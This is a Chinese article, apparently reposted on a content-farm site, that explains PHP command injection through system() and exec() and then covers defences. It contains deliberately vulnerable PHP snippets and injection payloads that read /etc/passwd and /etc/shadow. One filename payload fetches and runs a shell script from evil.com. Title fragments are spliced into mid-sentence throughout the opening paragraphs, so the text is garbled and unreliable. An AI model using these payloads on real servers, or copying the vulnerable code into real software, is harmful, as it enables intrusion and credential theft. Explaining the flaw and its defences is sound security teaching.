当前位置:当前位置:首页 > 热点 > php命令注入攻击漏洞形成 正文

php命令注入攻击漏洞形成

[热点] 时间:2026-10-17 04:30:32 来源:力不从心网 作者:焦点 点击:196次

一个没做过滤的令注 system() 调用,就能让攻击者在你服务器上执行任意命令。入攻这不是击漏理论推演,是洞形每天都在发生的真实场景。

先看一段代码:

$ip = $_GET['ip']; system("ping -c 4 " . $ip); 

开发者想做的令注事很简单——让用户输入一个 IP,服务器 ping 一下返回结果。入攻功能上没毛病。击漏问题出在 system() 这个函数身上:它把整条字符串交给操作系统的洞形 shell 去执行,shell 不会区分哪部分是令注"用户输入"、哪部分是入攻"程序指令"。用户输入的击漏东西,和开发者写死的洞形命令,在 shell 眼里是令注同一回事。

如果攻击者提交这样的入攻 URL:

?ip=127.0.0.1; cat /etc/passwd 

最终拼出来的命令是:

ping -c 4 127.0.0.1; cat /etc/passwd 

shell 看到分号,理解为"前一条命令执行完,击漏接着执行后一条"。于是 ping 正常跑完,紧接着 /etc/passwd 的内容就吐到了页面上。开发者预期的"只能 ping"这个边界,在 shell 解析层面根本不存在。

这就是命令注入的本质:用户可控的数据进入了系统命令的执行上下文,而 shell 的元字符让数据"越界"成了指令。

哪些字符是帮凶

分号 ; 只是最直白的一个。管道符 | 把前一条命令的输出作为后一条的输入,攻击者用 | whoami 就能知道 Web 服务以什么权限在跑。逻辑运算符 && 和 || 也能拼接命令,前者要求前一条成功、后者要求前一条失败,攻击者根据回显判断执行条件。$() 和反引号 `` 更隐蔽——它们把内部内容当作子命令先执行,再把结果替换回原位置。比如 ?ip=$(cat /etc/shadow),即使没有分号,命令照样被注入。

换行符 %0a 也常被忽略。很多开发者只过滤了分号和管道,却忘了 URL 编码后的换行同样能截断命令。

PHP 里哪些函数是重灾区

system()、exec()、shell_exec()、passthru()、popen()、反引号运算符——这几个是直接执行系统命令的。它们的设计目标就是"调用外部程序",所以天然带着注入风险。

还有一类不那么显眼:escapeshellarg() 和 escapeshellcmd() 被误用的情况。这两个函数名字看着像"转义",但行为完全不同。escapeshellarg() 给参数加单引号并转义内部单引号,相对安全;escapeshellcmd() 只是给 shell 元字符加反斜杠,但它不处理参数边界,攻击者可以用多字节字符或特定组合绕过。我见过有人用 escapeshellcmd() 包住整个命令字符串,以为万事大吉,实际上参数注入依然成立。

一个容易被忽视的入口:文件名

命令注入不一定发生在参数直接拼接的场景。有次审计一个 PHP 项目,功能是"上传文件后调用 imagemagick 生成缩略图"。代码大概这样:

$cmd = "convert " . $uploadedFile . " -resize 200x200 " . $thumbFile; exec($cmd); 

上传文件名由用户控制。攻击者把文件命名为 a.jpg; wget http://evil.com/shell.sh -O /tmp/s.sh; sh /tmp/s.sh; .jpg,虽然大部分系统会对文件名做处理,但如果上传逻辑没重命名、直接用了原始文件名,注入就成立了。这类漏洞在 CMS 和图片处理插件里出现过多次。

防御的核心思路

最彻底的做法是不调用系统命令。PHP 有 filter_var() 可以验证 IP,有 GD 或 Imagick 扩展可以处理图片,有 fsockopen() 可以做网络探测。能用内置函数解决的,不要碰 shell。

如果非调不可,用 escapeshellarg() 逐个包裹参数,而不是拼接整个字符串。同时给命令写绝对路径,比如 /usr/bin/ping,避免 PATH 被篡改。再配合白名单验证——IP 参数就只允许数字和点,其他字符一律拒绝。

还有一层保险:disable_functions。在 php.ini 里禁用 system、exec、shell_exec、passthru、popen、proc_open 这些函数。很多生产环境确实这么干了,虽然不能防住所有绕过手法,但能挡掉大部分自动化扫描工具。

命令注入的根因不是 PHP 的错,是开发者对"数据"和"指令"边界认知模糊。shell 只认字符串,它不知道哪段是你写的、哪段是用户填的。你不在代码层面把这条线画清楚,shell 就替你画——用攻击者的方式。

(责任编辑:时尚)

相关内容
精彩推荐
热门点击
友情链接